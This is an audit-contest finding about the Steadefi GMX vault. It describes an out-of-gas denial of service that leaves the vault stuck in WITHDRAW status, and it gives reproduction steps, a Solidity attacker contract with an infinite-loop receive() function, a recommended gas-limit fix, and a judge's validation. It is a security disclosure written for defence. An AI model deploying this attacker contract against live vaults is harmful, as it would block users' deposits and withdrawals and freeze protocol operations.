Steadefi

Steadefi
DeFiHardhatFoundryOracle
35,000 USDC
View results
Submission Details
Severity: high
Valid

Vault stuck at WITHDRAW status

Summary

An attacker can make the vault stuck at status: "WITHDRAWAL" using an "out of gas" exploit that will hinder any other user to deposit / withdraw liquidity from any vault that uses the native token. In addition rebalancing the vault won't be possible.

Vulnerability Details

Steps to reproduce:

  • An attacker deposits a small amount of tokens in a vault that contains the native token (ETH) in order to get some ownership to the vault's liquidity.

  • After the callback confirmation, the attacker sends the shares to an AttackerContract (see below).

  • Using the fundMe() method (see below), the attacker funds the AttackerContract with some ETH necessary to request a Withdrawal.

  • Attacker calls the createWithdrawal method on the AttackerContract to create a withdrawal request, setting the vault status to WITHDRAW.

  • Whenever GMX, a keeper or any party tries to process the withdrawal, the call will revert in link1 because the receiver (=AttackerContract) will run out of gas the call due to the infinite loop defnied in the receive() method (see example below). Subsequently the error won't be catched properly in link1, and the vault status won't be set to Withdraw_Failed or to OPEN link 5 and will be stuck at WITHDRAW status.

pragma solidity 0.8.21;
import { GMXVault } from "./GMXMockVaultSetup.t.sol";
import { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";
contract AttackerContract {
GMXVault immutable vault;
constructor(GMXVault vault_){
vault = vault_;
}
function createWithdrawal(address token, uint256 shareAmt, uint256 minWithdrawAmt, uint256 slippage, uint256 executionFee) external {
GMXTypes.WithdrawParams memory params;
params.token = token;
params.shareAmt = shareAmt;
params.minWithdrawTokenAmt = minWithdrawAmt;
params.slippage = slippage;
params.executionFee = executionFee;
vault.withdraw{value: params.executionFee}(params);
}
function fundMe() external payable {
// this function is only used to fund the contract
// in order to create a withdrawal and pay the executionFee required
}
receive() external payable {
while(true){
}
}
}

If needed a POC can be available upon request in a private git repository.

Impact

The vault cannot be rebalanced anymore link4, and users cannot deposit or withdraw any funds link3 unless the emergency pause is activated.

Tools Used

Forge unit testing

Recommendations

Add a gas limit to the call when transferring funds in the following line:

(bool success, ) = self.withdrawCache.user.call{value: address(this).balance, gas: 10000}("");

If the transfer fails (because of the out of gas or any other reason), the failure will be catched and the execution will be resum properly making it possible to regain the OPEN status in the vault.

Updates

Lead Judging Commences

hans Auditor
almost 2 years ago
hans Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS by rejecting native token

Impact: High Likelihood: High An attacker can repeatedly force the protocol to get stuck in a not-open status. This can happen on both deposit, withdraw callback for both successful execution and failures. Will group all similar issues.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.